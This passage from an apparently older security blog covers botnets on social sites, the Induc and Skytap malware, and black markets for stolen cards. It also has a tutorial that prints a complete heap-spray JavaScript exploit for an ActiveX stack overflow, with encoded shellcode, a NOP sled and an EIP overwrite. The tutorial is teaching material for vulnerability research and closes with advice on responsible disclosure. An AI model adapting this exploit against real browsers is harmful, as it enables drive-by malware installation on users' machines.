But this is not the only social networking site that is being targeted by Botnet authors, other sites such as Jaiku and Tumblr are also being used. A big advantage of using such techniques is that, it will be difficult for content filtering systems to detect & stop such communication since this is legit communication to well known websites. But at the same time, the biggest disadvantage is that they are all public services, so whatever activity that the Botnet is doing is easily visible to others too !

Strange piece of Malware..

Recently I came across two strange pieces of malware – Win32/Induc.A and Win32/Skytap.A.

Well, you can’t exactly call the first one a malware because it does not do the usual malicious stuff like disabling AV’s, downloading Trojans, stealing data etc.. But it’s very interesting in the way it spreads. Win32/Induc.A is the first of its kind malware that affects Delphi compilers. For those who don’t know Delphi is an object-oriented, visual programming environment to develop 32-bit and Microsoft .NET applications for deployment on the Internet, Windows and Linux. So essentially, any Delphi program complied by a machine infected with this Trojan contains a copy of the Trojan itself embedded inside the program and that is how it spreads !

Now what’s even more interesting is that this smart little Trojan managed to stay undetected for more than a year from all the AV/AS vendors ! In this process, it infected lot of Delphi programs including other Malware ! :) Yes, there are variants of Win32/Bancos – a popular password stealing Trojan infected with Win32/Induc code ! We’re lucky the Win32/Induc doesn’t do anything more than just affecting Delphi compiler otherwise this could have been a whole different story. Now AV vendors claim that this was the very reason for it not getting detected for so long, but never the less, at least the malware authors got a taste of their own medicine :P !

The second malware - Win32/Skytap is again a unique Trojan whose source code was published by a Swiss software developer on his website last month. It affects users of Skype software which is an application popularly used for making voice over IP (VoIP) calls. As you might have already guessed, this Trojan can tap into Skype function calls, extract and dump audio data to files. Not only that, it also converts audio conversations to the mp3 format and encrypts it.

Win32/Skytap.A contains two components: SkyDLLInjector.exe and DLLToInject.dll. These components hook to various Windows API calls that are used in audio input and output. It then is able to intercept all audio data traveling between the Skype process and the underlying audio device making Skype's network level encryption useless ! The extracted audio data is then saved to .mp3 files and can be sent out to a remote website using backdoor component. I am sure we will soon see variants of this Trojan that will adapt to other VoIP/Messaging software as well.

Now that’s some interesting stuff I have come across after a long time :) !

Discovering ActiveX Vulnerabilities -- Part 3 [The Exploit]

So far we have seen how to use Dranzer for discovering vulnerabilities in ActiveX objects. In this third & final part of the series we will look at creating a real world exploit from the vulnerability we discovered while fuzzing last time. This, at times, is a very challenging task. Not all vulnerabilities are that easy to exploit. It requires quite some amount of patience and luck to get things going :) !

Before we begin, I would like to tell you something more about this vulnerability. As shown from the video in part 2, it's evident that this is a case of stack based buffer overflow. We also saw that EIP & SEH both were overwritten. Now, managing to overwrite EIP, is like hitting a jackpot in Vegas or striking a gold mine for any hacker :D !!! What it means is that we can have full control of the program execution and make it do things we want.

Which also brings me to the fundamental question - So what? What's the big deal in getting this control ? In short, why am I reading this tutorial ? ;) Well the reason is, in real life something like this would get translated into letting the bad guys get control of your machine. A malicious hacker with not-so-well intentions will execute a JavaScript that exploits this ActiveX control & in turn execute a small shellcode that downloads malware onto your machine without you even noticing it. These are called as "Drive-by web attacks" that often exploit vulnerabilities in browser plugins such as adobe Flash player or PDF readers to install malware on innocent users browsing the internet.

And this is exactly what I am going to do here. But first we need to identify what part of our evil.html is actually overwriting the EIP and SEH. Once we identify that, our life is much easier. I will show how it was done in my evil.html and then you can apply the same logic to yours or any other vulnerability you know. My evil.html looks something like this -

Fig 1: My evil.html as generated by dranzer

One of the ways to do this would have to been to trace back the code in Olly using breakpoints. But a much simpler and faster way to do it is to alter the code in such a way that we get to see it in Olly itself. If you look closely, all the variables in the properties have a long string of "x" in them, which is why you got "00780078" in EIP (remember, unicode representation?). So, instead of using "x", we replace each variable with a unique string that can be identified when we debug, and save it as evil2.html like this -

Fig 2: Modified evil2.html

Now repeat the same process of executing this in IE as we did in part 2 and have a look at the registers. This time, depending on the character in EIP you will come to know the exact variable that is causing the overflow. You can even modify the number of characters inside each of the variables to narrow down to the last 2 chars that overwrite EIP when exception occurs. This is a fast and very effective method of identifying which part of the code causes the overflow. Next step now is to code the exploit.

Now, a buffer overflow vulnerability can be exploited in 100 different ways - I am going to show only one method of doing it :P ! We will use the famous Heap-spraying technique for coding the exploit. I will not discus that in details here, you can google it yourself. This method is more common with web browser vulnerabilities such as this one and involves use of JavaScript to spray (paint) the Heap with the shellcode you want to execute. Once our shellcode is all over the memory, we use the overflown EIP to "jump" to the heap area and hope to execute our shellcode.

Talking of shellcode, I have used a simple shellcode here to execute calc.exe from Metasploit Framework. One small catch here is that in order for our Javascript to load this shellcode in memory it has to be in unicode ! Don't worry, for every problem there is already a solution :) You can learn more about converting shellcodes to unicode here. So, assuming you have the shellcode ready, we will create a block of NOP+shellcode and spray it on the heap by declaring an array in Javascript. Then we modify our variable (one which causes the overflow) in such a way that EIP gets overwritten with "0c0c0c0c" and effectively we jump to our NOP+Shellcode. The whole exploit should look something like this -

<html><body>
<SCRIPT language="javascript">
shellcode = unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<512;i++) memory[i] = block + shellcode;

var krapSlide = unescape("%u0c0c");
while (krapSlide.length<5000)
{krapSlide += krapSlide;}

var junkSlide = unescape("%u0x0x");
while (junkSlide.length<1000)
{junkSlide += junkSlide;}

document.write("<object id=TestObj classid=\"CLSID:{XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXX}\" style=\"width:100;height:100\">");
document.write("<PARAM NAME=\"IServer\" VALUE=\""+junkSlide+"\">");
document.write("<PARAM NAME=\"IFailLink\" VALUE=\""+krapSlide+"\">");
document.write("</object>");
</SCRIPT>
</body></html>

Note that I am using only 2 variables here, which I know are causing the overflow based on results of my evil2.html debugging. Rest is pretty much standard Heap-spraying code you will find on most of the ActiveX exploits. Now, save that file as "0wned.html" and execute it in IE. Here is the whole thing in action -

Yay !! You've have officially been pwned :) !! In my case I am using IE 7 on WinXP SP3. Normally, in IE 8 or above you would get the "ActiveX content blocked" bar on top and you need to allow the content to run for the exploit to work. Also, notice how the IE window just disappears. This is because in the process of overwriting registers, we destroyed the exception handler(SEH) too ! You can avoid the IE crash by writing your own SEH code thus not letting the end user know anything ever happened. But I will leave that to you as an exercise.

Hope you make good use of what you've just learned. This by no means is a comprehensive tutorial. I tried to explain you everything in short. The actually process of discovering and exploiting may take days and months of hard work. Just a suggestion to all readers who are learning vulnerability research - "Always follow good principles of vulnerability disclosure. If you happen to discover new vulnerabilities, always try and work with the vendor first to fix it and then disclose the information to others".

Questions/Suggestions/Comments welcome ! :)

Credit Cards for sale ??

Ever wondered what do malware authors gain by writing malicious code ?? Well, if this question was asked a decade ago, the answer would be slightly different than what it is today ! The so called "underground" scene was totally different from what it is today. Those days it would be for fun or showing of real hacker skills. Now-a-days it's just about earning quick bucks and big bucks !!

Like stealing credit card numbers and bank account information for instance. Can you believe there are websites that openly sell stolen credit card numbers ?!! The way this works is - malware authors generally write password stealing bots that have a keylogger installed in the infected machine that records information entered inside your browser. This information is then silently sent out through a backdoor channel to the bad guys who control the bot and gather such information from thousands of infected machines. The information is either traded individually or they offer control of the bot to further cyber criminals who in-turn use the bot to steal more information to sell in the black market.

Fig 1: Credit Card information sale on forum

Researchers claim that upto 400 new credit card numbers appear everyday for sale !! That's a big number. The guys who sell these numbers even offer a 24 hour replacement guarantee incase the number is not working as well as technical support in multiple languages ! I am completely amazed as to how openly this is being advertised on the internet. Such sale happens on website that are generally hosted as a blog or on forums.

Fig 2: Blog offering stolen Credit Card & CVV numbers

Prices of these Credit Card numbers vary as per country ranging from as low as a few cents to 35$ for some European countries. Not only Credit Card numbers but bank account credentials are also traded online for anywhere from $10 to $1,000, and "full identities"—which include date of birth, address, and social security and telephone numbers—selling for between $1 and $15. This whole thing is a business - a well setup and well paid one !

Fig 3: Banking accounts for sale

It's not that these things haven't been tracked and taken down, but every time a bot network is brought down, a new one comes up. Business is good. Internet criminals operate with de facto immunity. The pool of vulnerable computers to exploit remains massive. Affected customers get away with refunds from banks and banks get it from their insurance companies. Antivirus researchers keep coming up with signatures to detect the bots, whereas the cyber criminals are always one step ahead in creating new variants ! The target financial institutions still treat their crime as acceptable loss. It's a endless cycle :(

All we can do is be a little more careful when it comes down to Internet banking ! BTW.. for those who thought using virtual keyboard for entering your netbanking username password was safe - think again ! There is a software code called Briz that captures the pixels around the cursor, the very pictures of the characters you are clicking on the virtual keyboard ! Nothing in this cyberworld is secure... EVER !